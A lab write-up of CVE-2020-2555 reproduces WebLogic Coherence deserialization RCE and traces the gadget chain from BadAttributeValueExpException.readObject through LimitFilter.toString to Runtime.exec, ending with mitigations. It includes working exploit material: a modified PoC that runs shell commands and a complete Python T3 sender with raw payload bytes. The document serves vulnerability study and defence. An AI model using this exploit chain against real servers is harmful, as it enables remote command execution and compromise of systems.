1. Introduction

Some vulnerabilities don’t look dangerous at first glance, and this one starts with an innocent-looking toString() function.

In CVE-2020-2555, a seemingly harmless method call buried inside Java’s deserialization process becomes the entry point for remote code execution in Oracle WebLogic Server.

Rather than beginning with patch diffing or advisories, this write-up follows a different approach. We will instead start with a payload, trigger the bug, and follow the execution trail wherever it leads.

2. Setup

To reproduce the issue, we’ll recreate a vulnerable environment:

  • Oracle JDK 8u202
  • WebLogic Server 12.2.1.4.0
  • Coherence (bundled)

2.1 Installing Oracle JDK 8

Before we can even think about triggering the vulnerability, we need to match a known vulnerable runtime environment. WebLogic is notoriously sensitive to Java versions, and CVE-2020-2555 is reliably reproducible on JDK 8u202.

  1. Head over to Oracle’s JDK 8 archive and grab the exact version.

    Note
    Newer JDK versions may introduce subtle behavioral differences (or even break the exploit chain entirely), so it’s important to stick to this version for reproducibility

  2. Once downloaded, extract the archive and place it in a standard JVM directory:

    wls@oracle-v12:~/Downloads$ tar -zxvf jdk-8u202-linux-x64.tar.gz
    wls@oracle-v12:~/Downloads$ sudo mkdir -p /usr/lib/jvm
    wls@oracle-v12:~/Downloads$ sudo cp -r jdk1.8.0_202 /usr/lib/jvm/
    
    Installing JDK 8u202

  3. Finally, make sure your shell can find the correct Java binary:

    wls@oracle-v12:~/Downloads$ echo "export PATH=/usr/lib/jvm/jdk1.8.0_202/bin:$PATH" >> ~/.bashrc
    
    Adding Java to PATH

At this point, we have a controlled Java environment. It is a small but critical step before we start poking at WebLogic’s internals.

2.2 Installing WebLogic Server

With Java in place, the next step is to set up a vulnerable WebLogic instance. For this analysis, we’ll use WebLogic Server 12.2.1.4.0, which includes the vulnerable Coherence components required for CVE-2020-2555.

  1. Grab the installer for Oracle WebLogic Server 12.2.1.4.0

  2. Unzip the installer and launch it using the JDK we configured earlier:

    wls@oracle-v12:~/Downloads$ unzip fmw_12.2.1.4.0_wls_lite_Disk1_1of1.zip -d wls-install && cd wls-install
    wls@oracle-v12:~/Downloads/wls-install$ java -jar fmw_12.2.1.4.0_wls_lite_generic.jar 
    
    Running The Installer

  3. The installer is mostly straightforward, and you can leave most options as default. However, a few selections are important to ensure a clean and reproducible lab setup:

    • Skip Auto Updates (we don’t want external interference in our test environment)

      wls-installation-setup-step-2
      Auto Updates Option: Skip Auto Updates

    • Installation Type: WebLogic Server

      wls-installation-setup-step-4
      Choose Installation Type: WebLogic Server

    • Development Mode with JDK 8 (ensures relaxed security defaults and compatibility)

      wls-installation-config-step-4
      Development Mode with JDK 8

  4. Once installation completes, start the default domain:

    wls@oracle-v12:~$ ~/Oracle/Middleware/Oracle_Home/user_projects/domains/base_domain/bin/startWebLogic.sh
    
    Starting the WebLogic Server

2.3 Setting Up Debug Environment

So far, we’ve just built ourselves a gloriously vulnerable system. Patience, my friends, this isn’t a Macdonalds drive-thru.

impatient

Now, we want visibility. To do that, we’ll attach a debugger to the JVM running WebLogic.

2.3.1 Server-Side Debug Parameters

To observe execution in real time, we’ll enable JDWP in the startup script. One small detail to keep in mind: Java 8 uses the older debug syntax. So instead of address=*:<port> (Java 9+), it expects just address=<port>.

  1. Edit the WebLogic startup script with your favourite editor (I’m a vim enjoyer):

    wls@oracle-v12:~$ vim ~/Oracle/Middleware/Oracle_Home/user_projects/domains/base_domain/bin/startWebLogic.sh
    
    Editing Startup Script

  2. Locate the section where LAUNCH_ARGS is defined and change it to the following:

    ...
    183     # START WEBLOGIC
    184 
    185     if [ "${USE_JVM_SYSTEM_LOADER}" != "true" ] ; then
    186         LAUNCH_ARGS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -cp ${WL_HOME}/server/lib/weblogic-launcher.jar -Dlaunch.use.env.classpath=true"
    ...
    
    Adding JDWP in Launch Arguments

2.3.2 VS Code Configurations

The vulnerability we’re targeting resides in Coherence, so we’ll need to decompile its JAR. It’s important that the decompilation preserves line numbers, since Java debugging relies on the source being as close to a 1-to-1 match as possible.

I experimented with a few decompilers like CFR and JD-CLI, but the one that consistently produced usable output was still JD-GUI. So…that’s what we’ll go with.

  1. Decompile coherence.jar using JD-GUI

    wls@oracle-v12:~/Downloads$ java -jar jd-gui-1.6.6.jar
    
    Running JD-GUI

    jd-gui-1
    Opening coherence.jar in JD-GUI

  2. File > Save all sources > Save location: /home/wls/coherence.jar.src.zip

    jd-gui-2
    Opening coherence.jar in JD-GUI

  3. Unzip the exported archive.

    wls@oracle-v12:~$ unzip coherence.jar.src.zip -d coherence-src
    
    Uncompressing Coherence Source Code

  4. Open coherence-src folder in vscode and install the ‘Debugger for Java’ extension by Microsoft. Then, create .vscode/launch.json within the same workspace to look something like this:

    {
        "version": "0.2.0",
        "configurations": [
            {
                "type": "java",
                "name": "Debug (Attach) Remote Java App",
                "request": "attach",
                "hostName": "127.0.0.1",
                "port": 5005
            }
        ]
    }
    
    Create Debugger Settings in VS Code

3. Payload Generation

We’ve done all this prep work, and I know you’re itching to dive into the vulnerability, but unfortunately, this isn’t magic. No payload, no game.

are-we-there-yet

The next step is to generate a working payload. There are plenty of public PoCs for this vulnerability, but rather than building everything from scratch, we’ll start with one that already works and adapt it to our needs.

  1. We’ll use a PoC by chenwjiew, which requires minimal modifications.

    wls@oracle-v12:~$ git clone https://gitee.com/chenjiew/CVE-2020-2555.git
    
    Git Clone Template Exploit

  2. Replace the bundled coherence.jar with the exact version used by our WebLogic instance

    Note

    This step is more important than it looks:

    • Gadget chains are often version-sensitive
    • A mismatch in class structure can break deserialization or shift execution paths
    • Using the exact JAR ensures our payload behaves identically to the target runtime

    wls@oracle-v12:~$ cd CVE-2020-2555
    wls@oracle-v12:~/CVE-2020-2555$ cp ~/Oracle/Middleware/Oracle_Home/coherence/lib/coherence.jar ./lib/coherence.jar
    
    Replacing Coherence Library

  3. At the core of this exploit is ReflectionExtractor which allows us to invoke arbitrary methods via reflection. We’ll modify its parameters in src/com/superam/CVE-2020-2555.java to control what gets executed:

    ReflectionExtractor extractor3 = new ReflectionExtractor(
        "exec",
        new Object[]{new String[]{"/bin/bash", "-c", "curl http://127.0.0.1:8080/test"}}
    );
    
    Simple Curl Test Payload

  4. By default, the PoC sends the payload directly to the target. For our purposes, that’s not ideal. We want more control and flexibility, especially since we’ll be iterating on the payload during debugging. So instead of sending it immediately, we’ll modify the code to serialize the payload into a file.

    • Near the end of the main() function in src/com/supeream/CVE_2020_2555.java, comment out the network send logic and keep only serialization:
    public class CVE_2020_2555 {
        public static void main(String[] args) throws Exception {
            ...
            BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
            Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
            field.setAccessible(true);
            field.set(badAttributeValueExpException, limitFilter);
    
            // serialize
            // byte[] payload = Serializables.serialize(badAttributeValueExpException);
    
            // T3 send, you can also use python script. weblogic_t3.py
            // T3ProtocolOperation.send("172.16.1.130", "7001", payload);
    
            // test
            serialize(badAttributeValueExpException);
            // deserialize();
        }
    
    Modifying src/com/supeream/CVE_2020_2555.java

  5. With the changes in place, compile the project:

    wls@oracle-v12:~/CVE-2020-2555$ mkdir -p target/classes && \
    javac -d target/classes -cp "lib/*" \
    src/com/supeream/payload/*.java \
    src/com/supeream/serial/*.java \
    src/com/supeream/ssl/*.java \
    src/com/supeream/weblogic/*.java \
    src/com/supeream/*.java
    
    Compiling The Payload Generator

  6. Run the generator. If everything is set up correctly, this produces a serialized payload (test.ser), which contains our crafted object graph.

    wls@oracle-v12:~/CVE-2020-2555$ java -cp "target/classes:lib/*" com.supeream.CVE_2020_2555
    
    Running The Payload Generator

  7. Instead of relying on the original Java sender, we’ll use a Python script to deliver the payload over WebLogic’s T3 protocol.Replace weblogic_t3.py with the following Python 3-compatible version:

    #!/usr/bin/python
    import socket
    import os
    import sys
    import struct
    
    if len(sys.argv) < 3:
        print('Usage: python %s <host> <port> </path/to/payload>' % os.path.basename(sys.argv[0]))
        sys.exit()
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(5)
    
    server_address = (sys.argv[1], int(sys.argv[2]))
    print('[+] Connecting to %s port %s' % server_address)
    sock.connect(server_address)
    
    # Send headers
    headers=b't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
    print('sending "%s"' % headers)
    sock.sendall(headers)
    
    data = sock.recv(1024)
    print(sys.stderr, 'received "%s"' % data)
    
    payloadObj = open(sys.argv[3],'rb').read()
    
    payload=b'\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
    payload=payload+payloadObj
    payload=payload+b'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'
    
    # adjust header for appropriate message length
    payload=struct.pack('>I',len(payload)) + payload[4:]
    
    print('[+] Sending payload...')
    sock.send(payload)
    data = sock.recv(1024)
    print('[+] received "%s"' % data)
    
    Updated Python3-Compatible weblogic_t3.py

  8. Finally, deliver the payload to the target server:

    wls@oracle-v12:~/CVE-2020-2555$ python3 weblogic_t3.py 127.0.0.1 7001 test.ser
    
    Sending The Payload to Vulnerable Oracle WebLogic Server

From this point on, exploitation becomes an iterative process. For each tweak to the payload, you only need to repeat:

  • Step 3 → Modify payload logic
  • Step 5 → Recompile
  • Step 6 → Regenerate test.ser file
  • Step 8 → Resend payload

This workflow makes it much easier to experiment, debug, and eventually trace the full execution path.

4. Analysis

While writing this post, I was walking the tightrope between ‘too confusing’ and ‘too boring.’ So fingers crossed that you won’t end up like Michael here.

michael-office-explain-like-im-five

Most write-ups start by diffing patches or reading advisoriesm just like this blog post by Zero Day Initiative. However, we are going to adopt an even more straightforward approach. We are going to force the exploit to purposefully fail to dump out the stack trace.

Instead of executing a real command, we replace it with something that definitely does not exist:

ReflectionExtractor extractor3 = new ReflectionExtractor(
        "exec",
        new Object[]{new String[]{"idontexist"}}
);
Non-Existent Command RCE Payload

Now, recompile the payload generator and run it again to regenerate test.ser before sending it to the vulnerable WebLogic server. This time instead of a silent execution, the application spills everything out for us.

(Wrapped: java.lang.Runtime.exec([Ljava.lang.String;@14cbd6bc)(java.lang.Runtime@30e376c6)) java.lang.reflect.InvocationTargetException
        at com.tangosol.util.Base.ensureRuntimeException(Base.java:324)
        at com.tangosol.util.extractor.ReflectionExtractor.extract(ReflectionExtractor.java:129)
        at com.tangosol.util.extractor.ChainedExtractor.extract(ChainedExtractor.java:105)
        at com.tangosol.util.filter.LimitFilter.toString(LimitFilter.java:599)
        at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:86)
        Truncated. see log file for complete stacktrace
        ...
Call Stack Showing the Deserialization Gadget Chain

Following the call stack, our entry point of interest should start from javax.management.BadAttributeValueExpException.readObject(), which lives in /usr/lib/jvm/jdk1.8.0_202/jre/lib/rt.jar.

BadAttributeValueExpException is a Java Management Extensions (JMX) class and it contains a well-known deserialization gadget in its readObject() method. The following listing shows its function definition, and naturally we set a breakpoint on line 86 before sending our payload.

40      public class BadAttributeValueExpException extends Exception   {
...
70          private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
71              ObjectInputStream.GetField gf = ois.readFields();
72              Object valObj = gf.get("val", null);
73
74              if (valObj == null) {
75                  val = null;
76              } else if (valObj instanceof String) {
77                  val= valObj;
78              } else if (System.getSecurityManager() == null
79                      || valObj instanceof Long
80                      || valObj instanceof Integer
81                      || valObj instanceof Float
82                      || valObj instanceof Double
83                      || valObj instanceof Byte
84                      || valObj instanceof Short
85                      || valObj instanceof Boolean) {
86                  val = valObj.toString();  /* BREAK HERE */
87              } else {
88                  val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
89              }
90          }
91      }
Function Definition of BadAttributeValueExpException.readObject()

By default, the Java Security Manager is disabled, which causes execution to take the branch at line 78 during deserialization, ultimately invoking toString() on the val field at line 86.

analysis-1
Call to LimitFilter.toString() on line 86

Since our val field is set to a malicious LimitFilter, this triggers LimitFilter.toString(), which we will analyze next.

The following listing shows the relevant snippets of the vulnerable LimitFilter.toString() function. Set another breakpoint at line 599 and resume the execution flow.

40     public class LimitFilter<T>
41      extends AbstractQueryRecorderFilter<T>
42      implements EntryFilter<Object, T>, IndexAwareFilter<Object, T>, ExternalizableLite, PortableObjec     42 t, Cloneable
43     {
...
587         public String toString() {
588             StringBuilder sb = new StringBuilder("LimitFilter: (");
...
595             if (this.m_comparator instanceof ValueExtractor) {
596        
597                 ValueExtractor extractor = (ValueExtractor)this.m_comparator;
598                 sb.append(", top=")
599                   .append(extractor.extract(this.m_oAnchorTop)) /* BREAK HERE */
600                   .append(", bottom=")
601                   .append(extractor.extract(this.m_oAnchorBottom));
602             }
...
Truncated Function Definition of LimitFilter.toString()

When m_comparator is a ValueExtractor, the code calls extractor.extract() on m_oAnchorTop and m_oAnchorBottom. Under normal circumstances, this is just part of data processing.

But implementations like ReflectionExtractor and ChainedExtractor use reflection, allowing method calls to be defined at runtime. This turns extract() into a powerful primitive, one that can be abused to invoke methods like Runtime.getRuntime().exec().

analysis-2
RCE at line 599

This chain works because several “harmless” design decisions stack together:

  • ReflectionExtractor allows arbitrary method invocation with no validation.
  • Deserialization (via JMX) invokes toString() internally, something developers rarely treat as dangerous.
  • LimitFilter blindly trusts its internal fields (m_comparator).
  • Coherence extractors are designed for flexible querying, which makes them equally powerful as exploitation primitives.

5. Mitigations

A simple way to mitigate this issue is to enable the Java Security Manager. Recall from earlier that the exploit relies on this condition: System.getSecurityManager() == null. By enabling the security manager, this condition no longer holds, preventing execution from reaching the vulnerable toString() call at line 86.

Update the LAUNCH_ARGS in the WebLogic startup script:

...
183     # START WEBLOGIC
184 
185     if [ "${USE_JVM_SYSTEM_LOADER}" != "true" ] ; then
186         LAUNCH_ARGS="-cp ${WL_HOME}/server/lib/weblogic-launcher.jar -Dlaunch.use.env.classpath=true -Djava.security.manager"
...
Quick Hotfix

Though this is a “No shit, Sherlock” kind of statement, the proper way to fix it is to apply Oracle’s official patches.

no-shit-sherlock

Please refer to the official guide for detailed steps on downloading and applying WebLogic patches.

6. Conclusion

Congratulations! You made it to the end!

shia-clap

A simple toString() call turns out to be the entry point for a full RCE chain. By generating a payload, breaking it on purpose, and following the stack trace, we were able to trace the execution path from deserialization to command execution.

This vulnerability isn’t just a single flaw, but a chain of “harmless” features working together in unintended ways.

7. References

  1. https://www.zerodayinitiative.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server
  2. https://docs.oracle.com/en-us/iaas/Content/fleet-management/manage-oracle-patches-weblogic.htm#download-weblogic-patch
  3. https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
  4. https://www.oracle.com/asean/java/technologies/javase/javase8-archive-downloads.html
  5. https://github.com/java-decompiler/jd-gui/releases
  6. https://github.com/leibnitz27/cfr
  7. https://github.com/intoolswetrust/jd-cli
  8. https://gitee.com/chenjiew/CVE-2020-2555